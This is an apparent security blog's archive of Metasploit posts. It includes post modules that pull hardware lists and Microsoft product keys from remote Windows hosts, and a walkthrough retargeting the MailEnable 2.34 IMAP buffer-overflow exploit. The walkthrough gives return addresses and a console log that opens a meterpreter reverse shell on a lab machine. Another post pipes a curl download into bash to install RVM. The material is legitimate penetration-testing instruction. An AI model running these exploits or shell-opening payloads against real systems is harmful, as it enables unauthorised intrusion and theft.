Showing posts with label metasploit. Show all posts
Showing posts with label metasploit. Show all posts
Saturday, March 31, 2012
Communicating with your Metasploit server via Mono/.NET
A few months ago, I released a library that helped integrate Nexpose into your .NET/Mono applications.
A few nights ago, I checked in my library that allows communication and integration with Metasploit from your .NET/Mono applications.
Very much in beta, and I am not calling it feature complete. Works for the most part, but bugs will be found (and patches accepted!).
Take a look at the Example I have to see it in action.
It follows the same Session/Manager pattern as the nexpose library does. No pro methods added yet, just core.
Wednesday, December 28, 2011
New metasploit modules in trunk
Last night HDM checked in a telnetd remote root scanner and exploit module fore BSD-derived telnetd servers (this vuln affects telnet clients as well). We were up late last night working on it. Any testing is appreciated.
Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.
Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.
Tuesday, December 13, 2011
Finding all exploits with RPORT == X
This question comes up quite a bit in the IRC channel: How can I see all exploits for a given port? You can do it easily with IRB
Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.
msf > irb
>> framework.exploits.each_module { |n,e| x=e.new; print_good("#{e.fullname}: #{x.datastore['RPORT']}") if x.datastore['RPORT'].to_i == 445 }; nil
Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.
Tuesday, November 15, 2011
Metasploit and the Penetration Testing Execution Standard
I was recently asked to map out the Metasploit Framework's functionality with the PTES.
Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.
www.tinyurl.com/msf-ptes
Have a look at the whitepaper, if you are interested in Metasploit or network security, it should be a great read.
www.tinyurl.com/msf-ptes
Saturday, November 12, 2011
CorpWatch API integration with Metasploit: Information Gathering
I have submitted two modules today to the Metasploit redmine that allow integration of the CorpWatch API. They are very neat modules, allowing you to bring in information from SEC EDGAR straight into Metasploit without leaving the console. You can find and research parent and child companies, view past addresses, past names, SEC filings, all sorts of valuable information with gathering information on a company during an engagement.
Here is an example run: http://pastebin.com/d9MKjiQ2
Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.
Here is an example run: http://pastebin.com/d9MKjiQ2
Hopefully these modules will hit trunk soon, but if you want to play with them now, the diff is taken from the framework root.
Sunday, August 28, 2011
Enumerating microsoft keys on remote hosts using metasploit
I wrote a new module for metasploit that can (theoretically) enumerate any Microsoft product key stored as a DigitalProductId (most microsoft products).
I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.
The metasploit ticket is here.
I only have tested against windows 7 ultimate as I don't have a SQL server, exchange server, or MS office stuffs lying around to test with. Any testing with these apps would be a appreciated and feedback is even more appreciated.
The metasploit ticket is here.
Tuesday, August 23, 2011
Enumerating hardware on remote systems running Windows with Metasploit
At Arlington Computer Care where I work, I needed (really, just wanted) a way to enumerate the hardware drivers on an arbitrary host on the shops network. The reason is two-fold: We can pinpoint old drivers to the customer and we know what drivers to look for specifically when reloading a machine. Metasploit already has a rich API for gathering information from remote hosts, and since I wanted to perform this check from a Linux box, it was the most obvious choice for me. Plus, I have a lot of experience with it already.
Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.
Some example output:
I am also working on a post module which enumerates popular software keys (office and windows keys atm).
Metasploit, however, did not have the functionality I wanted. To gather the hardware information from a remote host was going to entail writing a new post module, which I hadn't done before. I have written exploits in the past for, but no post modules. I found it was very fun and rewarding. It has been accepted into trunk for a week or two now, and here are the details on it.
msf post(enum_devices) > info
Name: Windows Hardware Enumeration
Module: post/windows/gather/enum_devices
Version: 13559
Platform: Windows
Arch:
Rank: Normal
Provided by:
Brandon Perry
Description:
Enumerate PCI hardware information from the registry. Please note
this script will run through registry subkeys such as: 'PCI',
'ACPI', 'ACPI_HAL', 'FDC', 'HID', 'HTREE', 'IDE', 'ISAPNP',
'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW', and 'USB';
it will take time to finish. It is recommended to run this module as
a background job.
msf post(enum_devices) >
Some example output:
msf exploit(handler) > use post/windows/gather/enum_devices
msf post(enum_devices) > set SESSION 1
SESSION => 1
msf post(enum_devices) > run
[*] Enumerating hardware on WIN-684G41EV82S
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf post(enum_devices) > set VERBOSE true
VERBOSE => true
msf post(enum_devices) > run
[*] Enumerating hardware on WIN-684G41EV82S
[*] Enumerating VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01
[*] Enumerating VEN_1274&DEV_1371&SUBSYS_13711274&REV_02
[*] Enumerating VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00
...snip for brevity...
[*] Enumerating VID_0E0F&PID_0003&MI_01
Device Information
==================
Device Description Driver Version Class Manufacturer Extra
------------------ -------------- ----- ------------ -----
LSI Adapter, SAS 3000 series, 8-port with 1068 1.28.3.52 SCSIAdapter LSI
VMware VMaudio (VMAUDIO) (WDM) 5.10.0.3506 MEDIA VMware, Inc.
VMware SVGA 3D (Microsoft Corporation - WDDM) 7.14.1.42 Display VMware, Inc.
VMware VMCI Bus Device System VMware, Inc.
Standard Enhanced PCI to USB Host Controller 6.1.7601.17586 USB (Standard USB Host Controller)
PCI standard PCI-to-PCI bridge 6.1.7601.17514 System (Standard system devices)
PCI Express standard Root Port 6.1.7601.17514 System (Standard system devices)
PCI Express standard Root Port System (Standard system devices)
Intel(R) PRO/1000 MT Network Connection 8.4.1.1 Net Intel
Intel 82371AB/EB PCI to ISA bridge (ISA mode) 6.1.7601.17514 System Intel
Intel(R) 82371AB/EB PCI to USB Universal Host Controller 6.1.7601.17586 USB Intel
Intel 82443BX Pentium(R) II Processor to PCI Bridge 6.1.7601.17514 System Intel
Intel 82443BX Pentium(R) II Processor to AGP Controller 6.1.7601.17514 System Intel
Microsoft AC Adapter 6.1.7600.16385 Battery Microsoft
AMD Processor 6.1.7600.16385 Processor Advanced Micro Devices AMD Phenom(tm) 9850 Quad-Core Processor
ACPI Fixed Feature Button 6.1.7601.17514 System (Standard system devices)
EISA programmable interrupt controller 6.1.7601.17514 System (Standard system devices)
System timer 6.1.7601.17514 System (Standard system devices)
Direct memory access controller 6.1.7601.17514 System (Standard system devices)
Standard PS/2 Keyboard 6.1.7601.17514 Keyboard (Standard keyboards)
Printer Port 6.1.7600.16385 Ports (Standard port types) Printer Port (LPT1)
Communications Port 6.1.7600.16385 Ports (Standard port types) Communications Port (COM1)
Communications Port 6.1.7600.16385 Ports (Standard port types) Communications Port (COM2)
Standard floppy disk controller 6.1.7600.16385 fdc (Standard floppy disk controllers)
System speaker 6.1.7601.17514 System (Standard system devices)
PCI bus 6.1.7601.17514 System (Standard system devices)
Generic Bus 6.1.7601.17514 System (Standard system devices)
System CMOS/real time clock 6.1.7601.17514 System (Standard system devices)
Motherboard resources 6.1.7601.17514 System (Standard system devices)
VMware Pointing Device 12.4.0.6 Mouse VMware, Inc.
Microsoft ACPI-Compliant System 6.1.7601.17514 System Microsoft
Floppy disk drive 6.1.7600.16385 FloppyDisk (Standard floppy disk drives)
HID-compliant mouse 6.1.7600.16385 Mouse Microsoft
CD-ROM Drive 6.1.7601.17514 CDROM (Standard CD-ROM drives) HL-DT-ST DVD-RAM GSA-H55N ATA Device
Printer Port Logical Interface 6.1.7601.17514 System (Standard system devices) LPT1
IDE Channel 6.1.7601.17514 hdc (Standard IDE ATA/ATAPI controllers)
Microsoft ISATAP Adapter 6.1.7600.16385 Net Microsoft
Microsoft Teredo Tunneling Adapter 6.1.7600.16385 Net Microsoft
ACPI x86-based PC 6.1.7600.16385 Computer (Standard computers)
File as Volume Driver 6.1.7600.16385 System Microsoft
Composite Bus Enumerator 6.1.7601.17514 System Microsoft
Microsoft Composite Battery 6.1.7600.16385 Battery Microsoft
Beep LegacyDriver
CNG LegacyDriver
LDDM Graphics Subsystem LegacyDriver
FAT12/16/32 File System Driver
Fs_Rec LegacyDriver
KSecDD LegacyDriver
KSecPkg LegacyDriver
Link-Layer Topology Discovery Mapper I/O Driver LegacyDriver
Msfs LegacyDriver
msisadrv LegacyDriver
NDProxy LegacyDriver
NetBIOS Interface LegacyDriver
Npfs LegacyDriver
Ntfs LegacyDriver
Parvdm LegacyDriver
Performance Counters for Windows Driver LegacyDriver
PEAUTH LegacyDriver
Link-Layer Topology Discovery Responder LegacyDriver
Security Driver LegacyDriver
Security Processor Loader Driver LegacyDriver
srvnet LegacyDriver
TCP/IP Registry Compatibility LegacyDriver
udfs LegacyDriver
VgaSave LegacyDriver
vmhgfs LegacyDriver
Memory Control Driver LegacyDriver
VMware Vista Physical Disk Helper LegacyDriver
Storage volumes LegacyDriver
Kernel Mode Driver Frameworks service LegacyDriver
WFP Lightweight Filter LegacyDriver
Windows Socket 2.0 Non-IFS Service Provider Support Environment LegacyDriver
Microsoft System Management BIOS Driver 6.1.7601.17514 System (Standard system devices)
WAN Miniport (IKEv2) 6.1.7601.17514 Net Microsoft
WAN Miniport (L2TP) 6.1.7600.16385 Net Microsoft
WAN Miniport (Network Monitor) 6.1.7600.16385 Net Microsoft
WAN Miniport (IP) 6.1.7600.16385 Net Microsoft
WAN Miniport (IPv6) 6.1.7600.16385 Net Microsoft
WAN Miniport (PPPOE) 6.1.7600.16385 Net Microsoft
WAN Miniport (PPTP) 6.1.7600.16385 Net Microsoft
WAN Miniport (SSTP) 6.1.7600.16385 Net Microsoft
Remote Desktop Device Redirector Bus 6.1.7600.16385 System Microsoft
Terminal Server Keyboard Driver 6.1.7601.17514 System (Standard system devices)
Terminal Server Mouse Driver 6.1.7601.17514 System (Standard system devices)
Plug and Play Software Device Enumerator 6.1.7601.17514 System (Standard system devices)
UMBus Root Bus Enumerator 6.1.7601.17514 System Microsoft
Microsoft Virtual Drive Enumerator Driver 6.1.7601.17514 System (Standard system devices)
Volume Manager 6.1.7601.17514 System (Standard system devices)
Disk drive 6.1.7600.16385 DiskDrive (Standard disk drives) VMware, VMware Virtual S SCSI Disk Device
Generic volume 6.1.7601.17514 Volume Microsoft
Generic volume shadow copy 6.1.7600.16385 VolumeSnapshot Microsoft
Microsoft Streaming Service Proxy 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Clock Proxy 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Tee/Sink-to-Sink Converter 6.1.7600.16385 MEDIA Microsoft
Microsoft Streaming Quality Manager Proxy 6.1.7600.16385 MEDIA Microsoft
RAS Async Adapter 6.1.7600.16385 Net Microsoft
Microsoft Trusted Audio Drivers 6.1.7600.16385 MEDIA Microsoft
USB Root Hub 6.1.7601.17586 USB (Standard USB Host Controller)
Generic USB Hub 6.1.7601.17586 USB (Generic USB Hub) Port_#0002.Hub_#0001
USB Composite Device 6.1.7601.17586 USB (Standard USB Host Controller) Port_#0001.Hub_#0001
USB Input Device 6.1.7601.17514 HIDClass (Standard system devices) 0002.0000.0000.001.000.000.000.000.000
[*] Results saved in: /root/.msf4/loot/20110823151419_default_192.168.1.146_host.hardware_345918.txt
[*] Post module execution completed
msf post(enum_devices) >
I am also working on a post module which enumerates popular software keys (office and windows keys atm).
Wednesday, July 6, 2011
Breaking MailEnable 2.34: A lesson in security featuring Metasploit, Immunity Debugger, and mona.py
Not that this is any major feat, but I thought it would do as a nice primer to investigating bugs Immunity Debugger and mona.py and exploiting them with Metasploit.
I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the CVE:
This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.
Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.
Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.
Notice how EIP is the same address as the return address in the original 2.35 target...
So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.
Check out this rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:
If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.
Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.
Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.
Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.
Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.
Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the
Whee! I have submitted the patch to the metasploit guys here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from MailEnable themselves. Just not 2.35! Har har har...
I was researching a vulnerability today, Metasploit has a module called mailenable_login with a target of MailEnable 2.35. Doing some research into the exploit, it is a buffer overflow, and not just 2.35 is vulnerable to this bug. From the CVE:
Stack-based buffer overflow in the IMAP service for MailEnable Professional and Enterprise Edition 2.0 through 2.35, Professional Edition 1.6 through 1.84, and Enterprise Edition 1.1 through 1.41 allows remote attackers to execute arbitrary code via a pre-authentication command followed by a crafted parameter and a long string, as addressed by the ME-10025 hotfix.
This is a good thing, because after searching for about an hour, I hadn't found an installer for the 2.35 version. The official historical archive for the MailEnable releases has that release conspicuously missing. However, other reportedly vulnerable releases, such as 2.34 was available. I happily obliged and grabbed 2.34, in hopes I would be able to get it to work without too much effort.
Well, short story short, the target in the module didn't "just work" as I had hoped. But it did crash the server, which was interesting. I decided to look further. I am not very seasoned at this type of debugging, so the guys in #corelan on irc.freenode.net were my first stop for getting pushed in the right direction.
Up until now, I had been using WinDbg, a debugger offered by Microsft with their Driver development kit. corelanc0der offered some better advice, grab a copy of Immunity Debugger and mona.py. After installing Immunity Debugger, I dropped mona.py in the PyCommands folder in the Immunity Debugger folder in Program Files. This enables me to utilize the "swiss army knife" the corelan team developped to speed up exploit development. I don't fully understand it, but already can see it is quite powerful. The first thing I had to do was crash the service, in this case MEIMAPS.exe. I attached Immunity Debugger to the currently running MEIMAPS.exe (it is run as a service automagically at startup). I know how to crash it, just run the 2.35 target against, and bam.
Notice how EIP is the same address as the return address in the original 2.35 target...
So, that obviously doesn't work, we don't like access violations. Maybe mona.py can show us some better places to exploit this application. But in order to do this, I need to make a few changes to the original metasploit module. Open it up in your favorite text editor, I did it in vim, and change your sploit. Comment out the original and add your own.
Check out this rather old article with details on pattern_create(). This gives mona.py some data to work with that is comprehensible, easy to traverse, and gather information about. A really cool feature of mona.py is that it will generate a template for your exploit with offsets and return pointers used to execute arbitrary commands. All you do is fill in the blanks. Let's see what mona.py has to offer:
If mona.py finds somethings it thinks is useful, you will get a small popup with predefined templates in a drop down box. I chose the remote client (tcp) template. Another series of popup dialogs will popup, one meaningful, and another not so meangingful. The former is the remote port to listen on. The latter is the Exploit-db id. Ironically, due to a bug in Immunity debugger, your answer the in remote port box will carry over into the next box, the exploit db id box. You do not want this. Be sure to clear it out if you don't want to include the exploit-db id.
Anyways, enough with silly dialogs. When everything is said and done, inside C:\Program Files\Immunity Inc\Immunity Debugger\ will lie an exploit.rb file. This is your exploit module shell for Metasploit. Be sure to check it over, it may not be optimal, even if it does *work*.
Hmm, looks like it'll work. But what the fudge is CLBCATQ.DLL? We want something a little more standard than this. Luckily, mona.py has some tools specifically for this.
We know we want a jmp/push esp. push was denoted in the generated module. It works, but let's try a jmp first, it is what the first target uses, so it would be a little bit more straightforward and consistent.
Cool! We found 2 pointers in a pretty freaking stable place, MSVCP60.DLL. Let's take a closer look.
Cool, so we have one jmp and one push. Remember our original exploit.rb that mona.py generated for us? The return address that it defines in CLBCATQ.DLL (0x76ffcb51) can be replaced with either of these addresses (0x76095d68 is the push and 0x760a9d6e is the jmp) in MSVCP60.DLL. The two addresses are printed out to the screen right above the red text. The two lines each begin with an address and either of these will do. We need to dig into the metasploit framework now. We need to add the target, which should really work for more than just this 2.34 release. The CVE lists a few in the 2.3x range. I think it should hit all of them, but am willing to eat my words.
Your targets in the mailenable_login.rb module should look similar to this, depending on the return address you chose from MSVCP60.DLL. Let's test it. You need to uncomment out the
sploit lines from before and remove your line you inserted with pattern_create(1000).
root@bperry-laptop:/home/bperry# msfconsole -L
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 710 exploits - 359 auxiliary - 57 post
+ -- --=[ 225 payloads - 27 encoders - 8 nops
=[ svn r13108 updated today (2011.07.06)
msf > use exploit/windows/imap/mailenable_login
msf exploit(mailenable_login) > set RHOST 192.168.1.105
RHOST => 192.168.1.105
msf exploit(mailenable_login) > show targets
Exploit targets:
Id Name
-- ----
0 MailEnable 2.35 Pro
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > set TARGET 1
TARGET => 1
msf exploit(mailenable_login) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mailenable_login) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(mailenable_login) > show options
Module options (exploit/windows/imap/mailenable_login):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.105 yes The target address
RPORT 143 yes The target port
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.1.71 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 MailEnable 2.34 Pro
msf exploit(mailenable_login) > exploit
[*] Started reverse handler on 192.168.1.71:4444
[*] Trying target MailEnable 2.34 Pro...
[*] Sending stage (752128 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.71:4444 -> 192.168.1.105:1037) at 2011-07-06 21:27:55 -0500
meterpreter > Success!
[-] Unknown command: Success!.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed. Reason: User exit
msf exploit(mailenable_login) > exit
root@bperry-laptop:/home/bperry#
Whee! I have submitted the patch to the metasploit guys here, it should be in trunk shortly. If you would like to play with this, you may download the relevant binaries from MailEnable themselves. Just not 2.35! Har har har...
Monday, September 20, 2010
RVM and Metasploit
If you are a ruby developer and haven't looked at rvm, you really need to. It is a very powerful tool in supporting applications across concurrent ruby installations.
The rvm developers have super easy scripts to install rvm. Recently, they released a system-wide script (before, it installed ruby to user-specific dirs ($HOME)).
As root:
Once installed, you can install and use ruby 1.9.1 easily...
If you also want 1.8.7 installed, replace all the 1.9.1 instances with 1.8.7.
Now, metasploit ships with it's own version of ruby. If you want metasploit to use the rvm version of ruby rather than it's shipped version, run the binary as an absolute path. You may alias the absolute path of msfconsole to 'msfconsole' to achieve the shorter command and to use rvm.
(-L says use native readline rather than ruby readline, supposedly it is faster)
Using system:
Using shipped ruby:
Using rvm instance of ruby:
The rvm developers have super easy scripts to install rvm. Recently, they released a system-wide script (before, it installed ruby to user-specific dirs ($HOME)).
As root:
bash < <( curl -L http://bit.ly/rvm-install-system-wide )
source /usr/local/rvm/script/rvm;
Once installed, you can install and use ruby 1.9.1 easily...
rvm install 1.9.1; rvm 1.9.1
If you also want 1.8.7 installed, replace all the 1.9.1 instances with 1.8.7.
Now, metasploit ships with it's own version of ruby. If you want metasploit to use the rvm version of ruby rather than it's shipped version, run the binary as an absolute path. You may alias the absolute path of msfconsole to 'msfconsole' to achieve the shorter command and to use rvm.
alias msfconsole='/opt/metasploit3/msf3/msfconsole -L'
(-L says use native readline rather than ruby readline, supposedly it is faster)
Using system:
root@acc-vulnerability:~# rvm system
root@acc-vulnerability:~# /opt/metasploit3/msf3/msfconsole
# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 590 exploits - 302 auxiliary
+ -- --=[ 224 payloads - 27 encoders - 8 nops
=[ svn r10398 updated today (2010.09.20)
msf > ruby --version
[*] exec: ruby --version
ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux]
msf > exit
root@acc-vulnerability:~#
Using shipped ruby:
root@acc-vulnerability:~# msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 590 exploits - 302 auxiliary
+ -- --=[ 224 payloads - 27 encoders - 8 nops
=[ svn r10398 updated today (2010.09.20)
msf > ruby --version
[*] exec: ruby --version
ruby 1.9.1p243 (2009-07-16) [i686-linux]
msf > exit
root@acc-vulnerability:~#
Using rvm instance of ruby:
root@acc-vulnerability:~# rvm 1.9.1
root@acc-vulnerability:~# /opt/metasploit3/msf3/msfconsole
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 590 exploits - 302 auxiliary
+ -- --=[ 224 payloads - 27 encoders - 8 nops
=[ svn r10398 updated today (2010.09.20)
msf > ruby --version
[*] exec: ruby --version
ruby 1.9.1p378 (2010-01-10 revision 26273) [i686-linux]
msf > exit
root@acc-vulnerability:~#
Subscribe to:
Posts (Atom)
